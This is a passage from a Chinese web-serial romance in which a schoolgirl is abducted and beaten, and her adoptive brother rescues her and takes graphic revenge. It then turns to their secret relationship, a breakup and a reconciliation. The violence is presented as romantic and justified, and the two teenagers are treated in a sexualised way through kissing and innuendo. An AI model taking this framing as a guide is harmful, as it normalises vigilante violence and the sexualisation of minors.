路泊汀已经跑了出去,飞快拦下一辆出租车。
翁明急忙报完警也拦了辆车跟了上去。
*……*
温声手脚被绑,扔在一处很阴冷的通风口,她身上的校服都被撕开了,头发更是乱糟糟,脸上也一片红,被打的嘴角都出了血,衣服里的手机这会正被谢一袁把玩在手里:“这是你哥的手机?”
提到路泊汀,温声眼里的泪又涌了上来,她还没发消息,不知道他会不会担心。
深吸一口气,胸口一阵绞痛,刚才被谢一袁踩到地上硬生生碾了几脚。
她尽量让自己看上去平和一点:“你认识我哥,应该也知道江城路家,如果不想事情闹大,你现在放我走我就当什么都没发生。”
结果谢一袁只是一笑,没当回事的继续转着手里的手机,在她强自镇定的目光中,手指倏尔一掷,手机被扔到远处的重型机车车灯上,车灯和手机机身都砸了个碎。
碎裂的声音惊的她身体一抖。
但谢一袁仍是一副满不在意的样子:“路家如何和我有什么关系?”他蹲下身伸手轻佻地摸她的脸,“今天我就算在这儿把你强了,都没人能吭一声。”
“是么?”
门口骤然响起一道声音,低缓沙哑,又沉抑。
36. 潮落
温声闻声立马转过头,路泊汀身上的校服都湿透了,额前的头发被他撩开,露出一双眼睛又黑又沉,他慢步走过来,垂眼看见她脸上的伤和被扯烂的校服领口,紧了紧牙,敛下眼里的情绪重新看向谢一袁。
“念在同学一场,我不动手,现在放人。”
谢一袁还蹲在地上,听见他的话扯唇笑了笑,手指又在温声的脸上讨了个便宜,“我说路草啊,你们路家的人还真是一副德行,各个都觉得我谢一袁好打交道是吧?”
他站起身,个子还没路泊汀肩膀高,站近,摸过温声脸颊的手上移也摸向他的下巴,手感一样好,“啧,还没试过男人的味道呢。”
温声忍不住了,反正靠山来了,该骂就骂:“你有病吧,死变态,把你的脏手拿开。”
‘啪——’
他的小弟过来扇了她一巴掌。
沉钝又清晰的响声。
路泊汀那一瞬间只觉得心尖一抽。
很疼。
他抬手扯下谢一袁的手,拇指摩挲他的手心,手劲很大,谢一袁被他捏的发疼,想收却收不回:“你想干什么?”语气有点慌,这人打架狠他可是见识过的。
路泊汀刚才低敛的情绪全然被打开,他挑起眉似笑非笑地瞅他:“刚才打她的那个人,你去把他的手拧下来。”
谢一袁现在都还觉得他在开玩笑:“你疯了?你看看我是谁,你想拧就拧?”
路泊汀压根懒得和他废话,手指压住他的骨节使劲向外扯,手背和手指呈45°弯曲。
“你不拧,今天断的第一只手就是你的。”他靠近谢一袁的耳朵,嗓音依然低沉,语速很慢,废弃站四周的照明灯一半暗一半亮,正好打在他脸上,幽黑冷然的眼睛一瞬不瞬盯着他,脸上还有刚才跑来时淋的雨水,在一张冷峭的脸上显出几分寒意。
无声无息地,在告诉他。
这不是玩笑。
谢一袁手指疼的胳膊直缩:“我说你何必呢,你妹刚才一直挣扎,我都还没操呢……”
话没说完,他的脸上就硬生生挨了一记铁拳,鼻梁处猛然像断了一样生疼:“啊——姓路的,你给我等着……啊!!”
路泊汀慢悠悠站直身子,扭动了下刚才打他的手腕,叹了声气,另一只手上加了几分力,直往90°掰,“嘴巴放干净点,你给我提鞋还真不配。”
谢一袁想起学校贴吧里那群死宅女说的:谢一袁?嘿!给路泊汀提鞋都不配好么。
他疼的想死,嘴巴却不落下风:“你装什么啊,你不也喜欢你妹吗,道貌岸然的畜生非你路泊汀莫属。”
路泊汀突然低头看向温声,她捂住脸,刚才打的那一巴掌手劲很大,半张脸都肿了起来,这会儿眼睛睁的大大的正望着他。
一副被吓到的模样。
他敛下眸,又回头瞅谢一袁,淡淡一笑:“谢谢你替我表白。”面色一冷,手腕一扭,直直扭断了他的手筋。
“第一只。”
谢一袁疼的在地上打滚,路泊汀径直走向刚才打温声的男生,他已经跑到机车上打算溜走,还没开火,就被一条腿直接踢向车头,车身骤然一偏,他被拽了出去。
路泊汀跨过倒地的机车,扯住他的衣领拖到温声面前:“你还他一巴掌。”
被扯着衣领没法动弹的小混混手脚都在用力挣扎,路泊汀只好用膝盖顶跪在他胸前。
温声一时还有些懵:“要不算了吧……”
他又靠近她几分,手指触到她红肿的脸上,眼睛都被打肿了,指尖是她皮肤烧灼的温度,烫的他心头一阵抽动。
又酸又疼。
“乖,你打回去我带你回家。”
温声还没打过人,象征性地拍了拍那人的脸。
她不想闹大事情。
可路泊汀并不打算放过,他一手掐住那人的脖子,另一只手锢住他的手腕,冷声道:“打的哪里,打了几下?”
那人被掐住喘不过气,不断咽着口水:“就……就一下。”
路泊汀看他手心里都是血,声音更冷了:“我没耐心,再问一次,打的哪里,几下?”
小混混被他压得生不如死,想坦白了赶紧了事:“哥,哥……我求你了别压了,我踢了她几脚,但这是我们老大吩咐的,我就打了一巴掌,其余的都是我们老大打的。”
谢一袁还蜷在地上打滚,听到他的话,仰起头暴怒:“王远你给我等着!”
路泊汀重新锢紧他的手腕开始不断甩在地板上,又快又狠,王远感觉自己的指甲都要被磕掉了,眼泪鼻涕开始一齐冒出来:“哥,我错了,你别甩了,我…我手指要断了!”
不知道甩了多少下,手里的手腕已经瘫软一片,路泊汀丢开,起身走到他脚边,在王远还没反应过来时,脚腕就被一脚踩住。
路泊汀穿的篮球鞋,鞋底又硬又重,脚下发力碾磨,王远一阵嘶叫,手腕脚腕感觉都像断了,全身已经没力气挣扎:“别碾了……真的要废了啊!!”
“别打了……”温声突然出声,她跪坐在地上,眼睛哭的又红又肿,“我们回家吧,我不想呆在这里了。”
“第二只。”
路泊汀松开脚,又狠狠踢向他的膝盖,“滚。”
王远连滚带爬地爬到门
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口。
路泊汀蹲下身给她解麻绳,手腕被勒出一道很重的红痕,喉咙滚了滚,指腹去擦她的眼泪:“疼吗?”
温声吸了吸鼻子,又委屈地嘟起嘴,用力点了点头。
很疼,头皮疼,脸疼,胸口疼,哪哪都疼。
他解开绳子,轻抱住她,很紧,过了会儿低声道:“哥对不起你。”
衣兜里的耳套滚了出来,已经脏的看不出原先模样,温声捡起戴回耳朵上,他垂着头情绪很颓靡,她抓过他的手,很凉,于是伸出两只小手裹紧他的手背给他取暖,“你不要自责,是我没听话按时回家。”
摘下耳套给他戴了上去,耳套又湿又凉,耳边是湿蒙蒙的感官。
“谢谢哥。”
她说的很小声,但他还是听见了。
摘下耳套,又低头去找她的眼睛,“怎么突然叫我哥?”
温声垂眼避开他的视线,路泊汀心里一动,想起刚才谢一袁说的那句话,心脏抽疼的位置更疼了,想开口和她解释,身后忽然响起机车发动的轰鸣声。
来不及多想,大手甩开她,温声被他甩出两米远,谢一袁开着机车朝路泊汀撞了过去,他被硬生生撞到顶起,又重重坠到地上。
有一瞬间心脏蓦地停了,温声嘴巴张了张就是说不出话,还是门口响起警车声她才回过神,抖着身子爬了过去,路泊汀昏在血泊里,她长这么大还没见过这么多血,黏稠的红色液体一滩一滩从他身上流出来,指尖碰到地上的血,还是热的。
“哥……”
温声哭的嗓子都哑了,眼前红濛濛一片,她不敢碰他,身子颤的跪不住,最后也倒在那一摊血里。
昏迷前只记得他手里还捏着那个耳套。
路泊汀被撞的肝破裂脾破裂,双侧顶骨骨折外加一系列内伤,抢救了一天一夜才从鬼门关救回来。
姚书文后来每次提到这件事都会哭,温声也是从那次后就再也没喊过他一声哥哥。
谢一袁已满16岁,因犯故意杀人罪杀人未遂,被路泊汀的爷爷路邵军强制送到了监狱。
路泊汀出院那天,姚书文扶着他小心翼翼地坐回车里,又问他:“以你现在的成绩完全不用复习可以直接参加6月的中考。”
他只是舒缓地扭了扭脖子,淡声道:“还是留一级吧。”
坐在一旁的温声假装没听见,咬紧唇扭头看窗外的风景。
那一年姚书文经常两地跑,路康也是第二年夏天才回的国,怡翠苑里只有两个小人早出又晚归,但无论什么时候,温声的身后永远都会有路泊汀的身影。
这是她的特有挂件。
37. 破绽
直到上午最后一节课坐在会堂学术报告厅时,路泊汀都没回她消息,高二文科1班的区域在会堂阶梯的左边靠墙位置,温声和江乐橙挤在最后一排,还有其他班级在入场,整个室内没开灯昏暗一片,她手里一直攥着手机,时不时打开瞄两眼,又面无表情地锁上屏。
江乐橙推她胳膊:“你怎么老看手机?”
温声皮笑肉不笑:“失宠了呗。”
江乐橙一脸揶揄:“没想到你也有这一天。”
前排贺厉回过头朝两人一笑:“你们冷吗?要不要调高空调?”
温声刚要拒绝,会堂的灯乍然被全部打开,正好吊灯就在她头顶,刺的她眼睛下意识一闭,贺厉起身在过道调了空调温度后又坐回位置上。
江乐橙戳她的腰,小声咬耳朵:“贺厉是不是还喜欢你啊?”
温声无奈地耸耸肩。
姐们自己也不知道啊。
观众区的灯这时又灭了,教导主任走上台,说了一串陈词后开始进入主题:“今天邀请了我们一中这届金牌保送的几位同学,请他们给低年级的同学们做一次学习经验的自述,希望对大家有帮助,先有请理重1班的赵月清同学上台。”
台下立马掌声雷动,温声心不在焉地也示意性拍了拍手,视线在第一排贵宾区的位置扫过,但会堂实在太大,人挤人的位置加上贵宾区座椅都很高,她看不出路泊汀的位置是在哪里。
赵月清从前排站起身,又朝旁边的位置弯下腰低头说了什么,眉眼笑意嫣然,最后才缓步走上台。
温声立马朝她旁边的位置看过去,奈何靠背太高,只能从侧面隐约看出是穿了一身黑色衣服的身影,她扭头问江乐橙:“你戴眼镜了,帮我看刚才赵月清坐的位置旁边是不是路泊汀?”
哦豁!
江乐橙当即瞪大眼睛,身子坐直两手撑着眼镜仔细甄别,盯了半天后确认目标,一副抓奸的神情,神经兮兮地小声道:“是你家路草。”
手机在手心用力拍了拍。
不回消息是吧?
不回消息和别的女生调笑是吧?
台上讲话的赵月清说了什么她一个字都没听进去,只觉得声音好聒噪扫兴,打开手机开始信息轰炸:
声声怪:和别人聊的开心吗?/微笑/
声声怪:聊这么开心要不要给你们拍张合照啊,还蛮配的。/愉快/
声声怪:哦,我还忘了,你两之后要一起去京市读书是吧,好好好。/强/
声声怪:你以后都不用回我了,滚吧。/调皮/
发出去的消息没有一条是回复的,温声越想越气,眼不见为净地直接关机。
台上又换人了,她盯着路泊汀的位置看了几秒,又快速掏出手机开机,将最后一条消息撤回。
声声怪:我再给你一次机会,十分钟内不回我,这周都别见面了。
十分钟过去了,手机依然安静,这时会堂突然响起轰鸣掌声,她下意识朝前排贵宾区看过去,他起身,校服外面罩了件敞开的短款黑色羽绒服,白色衬衣领口随意解开,好几天没见,头发又剪短了,发型蓬松清爽,鬓发修剪的极利落,额前碎发短削薄,衬的一张线条明晰的脸愈发英气清冷,他漫不经心地回身朝观众席扫去,瞟到温声时,正好被她狠狠瞪了一眼。
路泊汀若有似无地挑起眉,重新转身朝台上走去。
“大家好,我是路泊汀。”
声音从会议的麦克风里传出,穿透在能容纳上千人的会议厅,几乎所有人都安静了下来。
低冷清润的嗓音,像细碎润泽的砂砾从她的耳膜轻盈地碾过去。
又在心尖处留下清晰钝重的悸动。
“天啊,阿声,你男人真的绝了!”江乐橙凑过来拽住温声的袖子使劲晃,“瞧这身形,瞧这长相,瞧这气质,别说一中历年没有,江城几个重点中学也找不到啊,你要好好抓住!”
温声冷着脸朝她翻了个白眼:“老娘也很优秀好吧。”
现在是她好好抓住的问题吗?
路泊汀身高腿长地立在台上,微弯着腰开始惯常的套话,他的视线直勾勾往她身上撩。
温声被他盯的有点脸热。
前排贺厉忽然又回过头,这次直接对着温声说道:“还记得上个月我给你的那本数学题库吗?我有一道题很久没解开突然有了灵感,能给我看一眼吗?”
温声从台上收回视线,有些愕然:“现在给你吗?”
贺厉的眼神依然温和平静,朝她点了点头。
路泊汀注意到台下的两人低头靠近,麦克风里的声音逐渐放缓,微弯的腰悠悠挺直。
温声又朝台上快速看了一眼,那本题库她确实也想早点还给他,思忖片刻,点头示意他一起回班拿。
盯着两人低着身子从靠墙的过道朝后门走去,路泊汀下巴微抬,弧形上扬的眼睛冷了下来。
麦克风里的声音骤然停止。
下台后回到贵宾区,拿了桌上的书就走,一旁的赵月清叫住他:“你的手机…还是我拿去修吧?”
早上她经过他时衣摆带动他桌上的手机甩了出去,屏幕摔坏了。
“不用。”
眼神流盼在他头也不回走出侧门的背影,赵月清轻抿唇,又看向台上。
温声没有和贺厉直接回班,而是被他带到了会堂外不远处的篮球场,她偏过头问:“不是要回班吗?”
贺厉抬手指了指前面上体育课正在打球的同学:“看到前面同学投篮的动作了吗?”
温声不动声色地瞥了他一眼:“有话直说。”
“无论从哪个方向抛起,无论投篮与否,”他终于转过头看向她,“篮球都会坠地。”
话音刚落,球场一记漂亮的三分球,投中,落
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下,又弹起。
最后回归平地。
“你和你哥,就算你们现在在谈恋爱,但亲缘关系是不变的。”
“所以你钓我出来就是为了说这个?”温声轻笑,眼神却变得犀利漠然。
“我喜欢你,从小学就喜欢了,你……你以前不是这样的,如果是他强迫你,我可以帮你。”贺厉突然蹲下身,以虔诚恳切的姿态望着她。
温声后退一步,被他无厘头的对话逗笑出声:“所以我要感谢你从小的喜欢吗?我以前是哪样?你很了解我吗?”
她也蹲下身,姿势坦直,神情冷然地直视他:“最后一次了贺厉,我和他的事还轮不到你来掺和。”
站起身,下巴微收俯视他:“就算全世界所有人都会背叛我,”她站的更直了,“他不会。”
懒得再应付这种烂人烂事,她迈开腿就要走。
“如果他从一开始就在骗你呢?”贺厉重新站起。
脚步一顿,她看向不远处C区教学楼外的花园,路泊汀靠在树干上眼神冷淡地睨向这边,旁边庵加河手里举着烟正在打电话,顺着他的视线也看向这边,歪头绕过她瞅着贺厉,挑眉一笑。
“你这是被绿了?”
温声忽略直扫过来的两道视线,转过身:“什么意思?”
贺厉也注意到了路泊汀,朝她走了两步,低头靠近她耳侧,远处看就是贴在一起拥抱的姿势。
路泊汀突然扯唇一笑。
“绿你妈。”
站直身子朝两人走去,教学楼门口忽地响起一道声音:“路泊汀!现在来数办,有急事找你!”
是他们班那个地中海的数学老师,庵加河笑的一脸斯文败类:“这儿交我了,随时替你出手。”
看了两人的背影一瞬,路泊汀敛眸转身进了教学楼。
贺厉离开后,温声还站在原地。
“那份亲子鉴定是他自己设的局,他收买了办理人员,至于我怎么知道的应该就不重要了。”
球场不断响起传球进球的声音,日光和煦,可她只能听到自己的心脏在以不正常的速度飞快搏动,全身像被拖进冰窖。
刺骨的冷。
庵加河抽完烟徐步走过来,“发生什么事了吗?”
温声身体一哆嗦,被他突然的声音吓了一跳,抬头面色惨白地望向他。
庵加河本来还端着一副温和笑意,见她失魂落魄的模样,唇角收起:“他说了什么?”
“路泊汀他……”温声猛然收住,咬紧唇笑的很勉强,“今晚你成人礼,我可能就不去了,抱歉啊。”
没给他回话的机会,她垂下头快步朝A区教学楼走去。
庵加河摸着下巴若有所思地盯着她仓促的背影,拿出手机打算给路泊汀通电话,又想到这人手机坏了。
他轻笑一声。
兄弟啊,自求多福吧。
38. 即发
温声没有直接回班,去了教学楼一楼没什么人的卫生间,她进了最靠里的一间,锁上门,蹲在地上开始思考。
从五岁到十七岁,所有的事像穿书一样,一页一页,每一行每一个字,都在大脑中清晰跳跃。
第一次见面时,她仰起头望着面前长相漂亮精致的男生:“……哥哥,我是温声。”
他说了什么?
哦,他很冷淡地扫了她一眼,淡声回了句“你好”。
之后,他对她好像没有过特别亲密的兄妹言行,走在路上也不愿意和她搭话,姚女士给两人买的玩具,他会直接丢给她,拽拽留下一句:我不想玩和她一样的。
学前班时,她被班里的几个男生嘲笑长的土普通话还不标准,回到家里只有他在,她不管不顾地扑在他身上开始哭,他被她哭的一脸烦躁,两手抵在她肩膀处,冷声道:“离我远点,你鼻涕蹭我衣服上了。”
但是第二天上午姚女士就被学前班的老师请去谈话,只因儿子无缘无故地揍了女儿班里的几个男生。
再然后,小学的自然科学课上,她用玻璃瓶不小心砸伤了班里特别调皮的男生,对方家长闹到学校,在班主任的办公室里扑过来要打她,当时姚书文和路康还没赶来,还在上四年级的他跑进办公室替她挡下了这一巴掌,但在那之后他对她就更冷淡了,甚至不愿意和她多说话。
小学五年级,她被评为大队长,戴着校徽跑去他房间炫耀,只见他迅速关上电脑,蹙眉冷脸地看她:“敲门不会么?”
她只在匆促间看到电脑上两具赤裸交缠的身影。
初中时,兴许是姚书文意识到两兄妹关系实在疏离,找到儿子谈话:“阿声是妹妹,要多照顾妹妹知道吗,不要整天冷着一张脸。”
从那之后,他好像每天放学都开始耐着性子等她一起回家,直到她来初潮的那天,当天晚上姚书文嘱咐完一堆例假需要注意的事项后就回到了自己的房间。
他重新敲响她的房门,细听有些犹豫的两下,葱白细长的手指勾着她的内裤,血迹全部被清洗干净,还隐隐飘着洗衣液的清香。
“你的内裤以后都由我来洗好不好?”
他没看她,垂眼盯着手里,很突然的一句,声音很轻,可是温声听得很清楚。
她飞快拿过内裤,一脸惊愕的叫他:“哥……”
晚上一直思绪恍惚,他好像突然回过神,至始避开她的目光,匆匆丢下早点休息后就关上了她的门。
还有被谢一袁绑走的那次,她很确定她听见了谢一袁嘴里的那句话:你不是也喜欢你妹吗?
他竟然没否认。
所以她先开始慌了。
十六岁生日那天,她故意给姚书文透露自己有了喜欢的人,因为知道姚书文一定会告诉他,却没料到在KTV里目睹他坐在离她很远的位置,嗓音喑哑地唱着那样一首歌,脸上是她从未见过的茫然若失。
有了喜欢的人的谎言她自己先破了。
那天晚上她亲到他的嘴角后,两人的心脏都跳的极快,在觉察到他微微张开嘴唇时,来不及反应,她慌忙爬了起来。
她第一次恐慌于两人之间的亲情,更惧怕,他的回应。
没过多久,她就收到了福利院院长的来信,突如其来的消息,就在她生日后的半个月内,现在想想,他那天倚在门口盯着她手里的信,神情淡然,好像对于她不是亲妹妹这件事,他早就知道了似的。
而那份鉴定报告,也确实是他隔了一年后才给自己……
温声蹲在厕所,两手抱紧脑袋,中午放学的铃声早就响了,校服里的手机一直在震动,厕所外围是一片树枝围栏,一对情侣隔着一面墙在外面吵架。
女生情绪激动:“你喜欢我却骗我,信任没了就真没了。”
男生低声慰哄:“对不起……没有下次了好不好?”
两人走出很远,温声耳边还飘着女生最后说的那句:“别再说喜欢也别说对不起,你让我觉得你的喜欢好恶心。”
直到腿蹲得开始发麻,直到大脑充血犯晕,直到衣服里的手机没电关机不再震动,她才扶着门把手缓缓站起来。
午休时间班里没什么人,江乐橙抬头注意到她,嘴里还在吃零食,拿起手机给她打手势:你哥找你半天了。
温声拧开水杯润了润喉咙,小声说道:“手机没电了。”
旁边贺厉的桌子空了,他主动去找王立明换了位置。
班门忽然被推开,路泊汀站在门口,盯紧坐在第一排的人,神情冷淡地歪头示意她出去。
温声连看都没看他一眼,从桌子里拿出睡枕当着他和江乐橙的面,‘咚’的一声,小脸直接砸了进去。
路泊汀黑眸半阖一瞬,半晌后,脱了羽绒服走过去披在她身上,又凝了眼她拒绝沟通的后脑勺后,转身出了教室。
回到C区教学楼,庵加河靠在树旁正在和边苳打电话,路泊汀站在他身侧,顺走他的手机,果断挂断电话。
“中午发生什么了?”
“温声说晚上不来参加生日宴。”
“还有呢?”路泊汀将手机拍向他胸口,震得他一顿咳嗽。
好久没见兄弟吃瘪,庵加河扬起眉笑的一脸温和:“应该没了吧。”
好不容易等到晚上放学,两混子先跑了,一个跑到外面的艺术集训中心堵人,一个坐
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在校门口的保姆车里等人。
结果等了半天没等到。
路泊汀朝前面伸手:“李叔,借一下手机。”
打过去——
“对不起,您拨打的用户已关机。”
又瞥向校门口,正好涌出一大堆学生,路泊汀仰头撑着靠背,抬手扶着脖子又等了一阵,眼睛盯着车窗的斑点开始失怔。
二十分钟后,依然没人影。
李叔转过头问:“阿声是不是自己走了?”
校门口已经没什么人了。
路泊汀深呼一口气,下了车重新进了学校,文1班的灯都灭了,他推开门,教室里一片幽静,温声的椅背上还搭着他的衣服,舌头顶了顶脸颊,走过去拿起衣服又出了教学楼。
一整天给他甩脸子,不接电话,还玩消失。
好得很。
重新坐回车里,绷着一张俊脸开口道:“开车吧,她已经走了。”
李叔从后视镜里看他:“可能是出去玩了吧,今天周五。”
手里那套衣服内衬还有温热,路泊汀没有说话,视线调转看向窗外。
回到怡翠苑,姚女士已经在等他,摆手催促道:“快上楼换衣服,八点的宴会别迟到了。”
庵家和路家从爷爷辈就开始深交了,像晚辈的成人礼这种重要的日子两家都会聚在一起会餐。
“温声回来了吗?”他手里的衣服丢在沙发上。
姚女士坐在沙发旁吓了一跳,瞪大眼瞅他,“阿声去了朋友家,晚上可能不回来了。”
不回来?
呵。
路泊汀扯开衬衣领口,耷着眉梢,脸色不太好地上了楼。
“他和阿声怎么了吗?”姚女士问后面进来的李叔。
李叔不紧不慢笑着说:“兄妹两可能拌嘴了吧。”
路泊汀换好正装下楼,又换了个手机开始发消息。
L:今晚十点半我去接你,有什么事见面说。
他身上是一套姚女士定制的黑色西装,质地精细剪裁修身,内搭同色衬衣和烟灰色领带,外面套了一件深色手工羊绒大衣,挺阔有型的装领,宽肩处线条流畅平直,又因为他的身形极优越挺拔,一身暗色悬垂感高级利落,矜贵气质中平添几分清冷。
从上车后路泊汀就没什么表情地靠在一旁,姚女士对路康眼神示意,让他活跃一下气氛,路康干咳几声,刚要说话,路泊汀手里的屏幕一亮。
车外的路灯闪现而过,忽明忽暗的光影映向他好看分明的侧脸,此时润红饱满的唇微微抿起,黑曜曜的眼睛垂下凝着手机。
她刚才回了消息。
——我想分手了。
39. 回升
晚上十一点,江乐橙端了一杯热牛奶走进卧室,温声刚洗过澡头发还是湿的,小脸白生生眼圈泛着红。
“要不要喝点牛奶,你今晚都没吃饭。”牛奶放在她旁边的桌子上,江乐橙又去洗手间拿吹风机。
温声捧着牛奶杯抿了一小口,热气从杯口飘出,又漫到她的眼前,微微缓解了酸涩的眼睛。
江乐橙站起身给她吹头发,吹风机的呼噪声中,她又想起上次回宁湾,那天晚上他在浴室给自己吹头发,洗完澡后她的长发打了结,他手指温柔地挠在发间,直到头发吹干后她都没感觉到头皮有被牵扯到的疼痛。
没忍住,眼圈又红了。
江乐橙咬着唇不知道怎么安慰,因为她也不知道发生了什么事,晚上放学前阿声只是说想今晚去她家,结果两人回到家后她就趴在床上一直哭。
“阿声,你哥九点给我打过电话,他现在就在楼下,你要下去吗?”
温声静了静,抽了张纸擦净眼泪,吸了吸鼻子接着摇头。
江乐橙给她吹好头发后,坐在她身侧搂紧她的肩膀,轻声道:“虽然我不知道发生了什么,但这会儿温度很低,”拿起手机给她看气温,零下五度,“他也没进车里,一直站在车外,已经站了两个小时了。”
温声喝完那杯牛奶,上了床拉过被子蒙在头上,闷咽声从被子里传出来:“我们睡觉吧,我好累啊今天。”
说完就侧躺着一动不动了。
江乐橙一脸为难,她掀开窗帘,外面冷风疏飕,窗户上竟然还落了雪花,低头看到楼下的SUV旁边立着一人,也不动,微垂头看不清神情,她扭头张了张嘴,硬生生收回了。
半夜,江乐橙醒来上厕所,黑幕里听到床侧的温声吸鼻子的声音,她叹了口气,想去开灯被她叫停:“别开灯了。”
声音这下彻底哑了。
江乐橙清醒了一些,走到窗户边撩开窗帘又看向楼下。
路泊汀还在站着。
天边泛着雪天的粉,两个小时不到小区里白茫茫一片,江城已经好几年没下雪了。
她重新坐回床沿,拍了拍温声的被子,挣扎片刻开了口:“他还在楼下,外面雪下大了,真的不见吗?”
温声又转了个姿势,背向她,埋在枕头里的脑袋轻轻一摇。
江乐橙只好作罢,去了洗手间,温声摸出枕头下面的手机,点开。
1:47。
江乐橙开了水龙头在洗手,她摁灭手机又塞回枕头下。
清晨五点半,外面刚蒙蒙亮,江乐橙在睡梦中听到客厅铁门关上的声音,眼睛实在睁不开,迷糊中翻了个身又睡过去了。
出了楼道,冽风灌入裤腿,温声只穿了白天的校服校裤,上面就套了一件薄毛衣,她没有扎头发,冷风吹过,长发散开,脸白脖子白,只有鼻尖和眼睛通红一片,看着几米外的人,她垂眼停下站在原地。
路泊汀活动了下有些僵硬的胳膊,开了车门取出衣服朝她走过去。
视线内出现了他昨晚去参加宴会穿的西裤和皮鞋,光面皮鞋上都是雨雪融化后的水渍,黑色修身西裤下包裹了一双修长直挺的腿。
直到面前直吹的冷风被彻底遮了住。
路泊汀先是取下她的书包单肩垮在自己身上,又打开大衣给她披上,衣摆正好掩在脚腕处,他抬手又紧了紧领口,指尖触到她的脸侧,凉意入骨。
温声依然没看他,下半张脸隐入竖起的衣领里,湿风寒峭,雪花拂曳,她垂着头,他低着眼,两人谁也没说话,鼻尖闻到他衣服上好闻的气味,眼泪不受控地又冒了出来,不想让他看见,头垂的更低了。
路泊汀靠的更近了,半晌后撑开胳膊,哑声道:“抱抱。”
俯身圈住她的腰身,他全身都很冰,手掌小心地撑在她脑后压向肩侧,指尖轻抚她的头发,将身上仅有的一丝热意传给她。
怀里的小人身体开始发抖,呜咽声从压抑隐忍到抑制不住地哭出声,鼻子抽抽搭搭的,路泊汀喉咙滚了滚,心脏又酸又疼,窒地他喘不过气,弯腰贴近她,“对不起宝宝,我的错。”鼻息轻颤,声音也难掩低咽,温声感觉耳侧又潮又凉。
两人衣服上都飘满了雪花,片片晶莹,眨眼间,消融化开。
“你说什么都行,除了分手……”他抱的更紧了,“好不好?”
温声感觉再哭下去鼻涕就要流满他衣服了,在他怀里扭身挣扎,小声道:“我喘不过气了……”
路泊汀微微褪开身子,两人眼睫沾湿,一个眼睛湿漉红肿,一个眼尾水涔猩红,他伸手从她身上的大衣口袋里抽出纸给她擤鼻涕,动作有些生硬,温声绕过他走向那辆黑色加长SUV,低声问:“要去哪里吗?”
他开了后门放下书包,又打开车内的暖风,牵着她坐进副驾后折回驾驶位,关上门,隔绝了一切寒气,他开的暖风是吹脚模式,热风自下而上,身上的大衣袖子很长,温声的两只小手伸了好久才掏出来,自己勾过安全带扣上。
路泊汀身上恢复了点温度,手指轻蹭她的脸颊,“不是说好带你去看星星吗?”
两人闭口不谈昨天发生的事,他脱了身上的西装,只留下一件黑色衬衣,领带被解开,领口微张开,摘下腕表掷到中控台,开车驶出小区。
温声有些别扭,尤其两人刚才都哭过,但还是悄声问了句:“不是说等我期末成绩下来后再去吗?”
他敛下眼睛,伸过胳膊又摸了摸她的头发,却没转头,“害怕再晚点你就不要我了。”
如果是平时,她当这话是他顺口的胡诌,但现在……
他站在雪地里将近九个小时,刚才搂紧她掉的眼泪都渗着尖冷凉意,尤其说那些话时嗓音都在发颤。
温声看向窗外,换了个话题:“我好饿,我们去便利店带点吃的再走吧。”
再不吃点热乎的东西两人都要冻僵了。
他开车直接去了昨晚订的酒店,本来想好晚上接了她直接回酒店谈的。
结果人影都没见到。
到酒店后简单打包了一些她喜欢吃的甜点和面食,走的时候路泊汀又拿了瓶红酒,他一晚上没睡,回到车里胳膊抵着窗沿揉
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太阳穴。
温声拿出小蛋挞偷瞄他,他闭眼在休息,“你要吃吗?”
抱着他肯定不吃的想法将蛋挞递到自己嘴边,结果他低声浅笑,依然闭着眼,“想你喂给我。”
温声本想提醒他自己还在生气呢,但转念一想,他等会要开车,于是不情不愿地跪在座位上靠向他,手里的蛋挞还没挨近,就被他捞起身坐到了自己的腿上。
黑眸睁开看她,她有意无意地避开他的视线,眼圈还是红的。
路泊汀探进大衣,左手在她的后腰微微摩挲,另一只胳膊抵在扶手撑头看她:“不问我吗?”
温声抿唇,只问了一句:“不是亲兄妹吧?”
他只是用手摆正她的下巴,低头含住她的嘴唇,没有伸舌头,唇瓣含吮,鼻尖和鼻尖相触。
车外寒风霜冻,车内两人温热的鼻息缠磨交织,指腹揉她颈侧的软肉,半晌后微微离开,没有喘息的余地,又快速低头舔咬她的下唇,掌心处是她回升的体温,直到她的嘴唇红润微肿后他才仰头靠回座椅,眼神低敛看她潮红的脸颊和颤动的眼睫上,“这样还需要说明吗?”
温声的头发都被他抓乱了,放下蛋挞,又跨坐在他身体两侧,不需要靠近就能感受到他心跳的律动,抬手圈紧他的脖子,侧脸贴近他胸口,声音有点委屈又有点娇憨:“以后能不能不骗我啊?”
路泊汀从大衣里拿出软糖盒子,取出一颗塞进她嘴巴里,见她秀眉微舒,脸颊一鼓一鼓的,他又亲了亲她的嘴角,侧头在她耳边轻声道:“我爱你。”
温声偏头,他这种眼神总带着她难以捉摸的东西,心头又一跳,靠近他,“没有其他隐瞒我的事吗?”
路泊汀摇头,从旁边的甜品盒子里取出一小块炸糕喂她,见她吃的开心,自己也尝了口,有点凉了,口感不太好吃。
他伸手:“你的手机给我。”
提起这回事温声就又生气了,掏出手机暴力砸在他怀里,“我昨天给你发了好多好多条消息,你都没回我。”说完还觉得不够,又重复了一遍‘好多好多条’。
车外依然在下雪,周六的清晨街上没什么人,道路两旁的早点摊开始营业了,他抱着她开始看好多好多条已发未回的消息,看到最后开始拖着嗓子念出声,语气又恢复不正经的散漫。
——你已经一个小时没回我了,狗东西。
他哼笑,捏她鼓起的脸颊,吹她的眼睛,在她眨巴眼睛时又漫不经心地开口:“汪。”
温声窝在他怀里翻白眼,有点困了。
——谈腻了就早点吭声,追我的人又不是没有。
他眉梢微扬,“让那些人靠边儿站。”
伸手接住她打过来的手,开始念下一条。
——和别人聊的开心吗?
他还真仔细想了想,想不出来,“谁?”
温声噘起嘴巴就开始阴阳怪气:“还能有谁啊,和你站在一起的一中不就那几个人,装什么啊路泊汀。”
他有点反应过来了,浅笑着又勾住她嘟起的嘴巴,齿间低语:“只有你。”
40. 出发
外面天色大亮,路泊汀从后备箱拿出毛毯丢给她,“睡会儿吧,路程有点远,周一可能赶不回来。”他调高车内温度,又调整了她的座椅,挑眉一笑:“但我会记得给你补回课程的。”
温声眼睛都快睁不开了,半梦半醒间让他开车注意安全。
醒来时,车已经开出江城,瞅她醒了,路泊汀丢过来一包纸,戏谑道:“擦擦口水,没见过睡你这样的。”
温声小脸一红,快速抽纸擦嘴巴,看向纸巾后又扔回他身上:“你才流口水呢。”
路泊汀一脸坏笑,“你刚才做梦,说很想我说很爱我说今晚想上我。”
她彻底清醒了,皱眉小心捉摸他的表情,“怎么可能……”
路泊汀一副别想抵赖的啧声,“说了就要做到啊宝宝。”
